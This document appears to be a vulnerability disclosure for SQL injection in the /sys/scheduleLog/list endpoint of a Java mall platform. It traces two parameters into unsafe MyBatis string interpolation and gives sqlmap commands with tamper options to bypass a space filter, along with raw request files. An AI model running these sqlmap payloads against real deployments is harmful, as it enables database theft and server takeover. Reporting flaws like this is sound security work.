SQL injection vulnerability on /sys/scheduleLog/list

# Summary

In the latest version, two parameters passed to the endpoint /sys/scheduleLog/list are user-controllable and not sanitized, and no prepared statements are used when executing the final SQL query, resulting in a SQL injection vulnerability. Attackers can exploit this vulnerability to obtain sensitive data from the database and even gain complete control of the server.

---

# Details

### tested version:
- commit (2025-06-29):
https://gitee.com/fuyang_lipengjun/platform/commit/ca9aceff6902feb7b0b6bf510842aea88430796a

### vulnerable endpoint with parameters:

- http://127.0.0.1:8090/sys/scheduleLog/list?beanName=1
- http://127.0.0.1:8090/sys/scheduleLog/list?methodName=1

### taint analysis:

- com/platform/controller/ScheduleJobLogController.java
```
@GetMapping("/list")
@RequiresPermissions("sys:schedule:log")
public R list(@RequestParam Map<String, Object> params) {
    PageUtilsPlus page = scheduleJobLogService.queryPage(params);

return R.ok().put("page", page);
}

public PageUtilsPlus queryPage(Map<String, Object> params) {

params.put("sidx", "T.CREATE_TIME");
    params.put("asc", false);
    Page<ScheduleJobLogEntity> page = new QueryPlus<ScheduleJobLogEntity>(params).getPage();
    return new PageUtilsPlus(page.setRecords(baseMapper.selectScheduleJobLogPage(page, params)));
}
```

- platform-schedule/src/main/resources/com/platform/dao/ScheduleJobLogDao.xml
```
<mapper namespace="com.platform.dao.ScheduleJobLogDao">
    <select id="selectScheduleJobLogPage" resultType="com.platform.entity.ScheduleJobLogEntity">
       SELECT
       T.LOG_ID,
       T.JOB_ID,
       T.BEAN_NAME,
       T.METHOD_NAME,
       T.PARAMS,
       T.STATUS,
       T.ERROR,
       T.TIMES,
       T.CREATE_TIME
       FROM SCHEDULE_JOB_LOG T
       WHERE 1=1

# The spaces have already been filtered here, have to use SQLMap to bypass it.

<if test="params.beanName != null and params.beanName.trim() != ''">
          AND T.BEAN_NAME LIKE '%${params.beanName}%'
       </if>
       <if test="params.methodName != null and params.methodName.trim() != ''">
          AND T.METHOD_NAME LIKE '%${params.methodName}%'
       </if>
    </select>
</mapper>
```

---

# POC - sqlmap
```
python sqlmap.py -r request1.txt  -p beanName --technique=T --time-sec=5 --tamper=charencode,between  --level 5 --flush-session -v 3 --current-user

python sqlmap.py -r request2.txt  -p methodName --tamper=charencode,between  --level 5 --flush-session -v 3 --current-db --batch

```

- request1.txt:
```
GET /sys/scheduleLog/list?beanName=1 HTTP/1.1
Host: 127.0.0.1:8090
sec-ch-ua: "Chromium";v="117", "Not;A=Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_0febd9e3cacb3f627ddac64d52caac39=1731650791,1731654510,1731728152,1732103223; Hm_lvt_4656e49e8efa9f2ad6868ea26fb8984c=1732174546,1732190281,1732246265; HMACCOUNT=BC6BAB194A1BD82C; JSESSIONID=657c7f07-2b3c-4dd3-8537-ef2f1e6ad2d8; Hm_lpvt_4656e49e8efa9f2ad6868ea26fb8984c=1732252454
Connection: close
```

- request2.txt:
```
GET /sys/scheduleLog/list?methodName=1 HTTP/1.1
Host: 127.0.0.1:8090
Cookie: Hm_lvt_0febd9e3cacb3f627ddac64d52caac39=1751943490; JSESSIONID=1c82df05-f51c-4643-beab-44ed710954e6; Hm_lvt_4656e49e8efa9f2ad6868ea26fb8984c=1752038683; HMACCOUNT=07E32C2CE82754B5; Hm_lpvt_4656e49e8efa9f2ad6868ea26fb8984c=1752039013
Connection: close

```
![输入图片说明](https://foruda.gitee.com/images/1752148089047282445/b10f547a_8279293.png "屏幕截图")

![输入图片说明](https://foruda.gitee.com/images/1752148102530624529/2abaa682_8279293.png "屏幕截图")
---

# Impact
https://portswigger.net/web-security/sql-injection#what-is-the-impact-of-a-successful-sql-injection-attack

---

GVP 微同软件/微同商城

内容风险标识

评论 (0)

GVP微同软件/微同商城

内容风险标识